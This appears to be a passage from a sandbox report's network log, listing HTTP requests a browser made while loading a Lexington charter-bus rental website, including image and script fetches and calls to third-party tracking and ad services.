Source: global traffic	HTTP traffic detected: GET /img_new_design/time.svg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/charter-bus-restroom.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/media-connections-in-charter-bus.jpg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/microphone-pa-system-in-charter-bus.jpg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/tv-screen-in-charter-bus.jpg HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/uma-logo.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /js_new_design/jquery.lazy.min.js HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605
Source: global traffic	HTTP traffic detected: GET /js_new_design/bootstrap.min.js HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605
Source: global traffic	HTTP traffic detected: GET /img_new_design/56-passenger-charter-bus.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/24-passenger-minibus.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/18_passenger_minibus.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /css_new_design/ajax-loader.gif HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/css_new_design/slick.min.cssaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/school-bus-semiperfil.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon2.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon4.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon1.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon3.png HTTP/1.1host: gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://gogocharters.com/lexington-charter-busaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: i
Source: global traffic	HTTP traffic detected: GET /employee/upload/generalSliderImages/1667934889wedding-shuttle-couple.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload/generalSliderImages/1667934857sports-team-huddle.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload/generalSliderImages/1667934813event-group.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload/generalSliderImages/1667934813employee-shuttle-services.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/gogo-charters-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/charter-bus-seats.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload_editor_files/files/travel-agent-hub.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload/generalSliderImages/1667934928religious-hands.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/gogo-minibuses.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload_editor_files/files/construction-site-hub.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload_editor_files/files/hospital-shuttles-hub.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/banner_slideshow/gogo-minibus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /employee/upload/generalSliderImages/1667934813college-students.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /6si.min.js HTTP/1.1host: j.6sc.cosec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: scriptsec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fonts/slick.woff HTTP/1.1host: gogocharters.comorigin: https://gogocharters.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://gogocharters.com/css_new_design/slick.min.cssaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=4
Source: global traffic	HTTP traffic detected: GET /img_new_design/amenties/exterior/GOGO_Charter_bus_fleet.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/amenties/exterior/GOGO_minibus_parked.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605priority: u=1, i
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1host: c.6sc.cosec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /origin: https://gogocharters.comsec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /iframe_api HTTP/1.1host: www.youtube.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ==sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: scriptsec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax.php? HTTP/1.1Host: myvocabulary.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://gogocharters.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1host: ipv6.6sc.cosec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /origin: https://gogocharters.comsec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: emptyreferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /captcha/ajax.php? HTTP/1.1Host: clients.contology.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://gogocharters.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuidj HTTP/1.1host: secure.adnxs.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /origin: https://gogocharters.comsec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=a_pageload&q=%7B%22pageLoadTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1host: b.6sc.cosec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: imagesec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=ni%3AasyncSettingsAudit&q=%7B%22settings%22%3A%22%5B%7B%5C%22name%5C%22%3A%5C%22setToken%5C%22%2C%5C%22value%5C%22%3A%5C%22b30b4e83068a50cbbd396642a2a67178%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22disableCookies%5C%22%2C%5C%22value%5C%22%3A%5C%22false%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22setEpsilonKey%5C%22%2C%5C%22value%5C%22%3A%5C%2227ef31915be8823c33720c04e0bd8cade118f5be%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIPv6Ping%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIgnorePageUrlHash%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableRetargeting%5C%
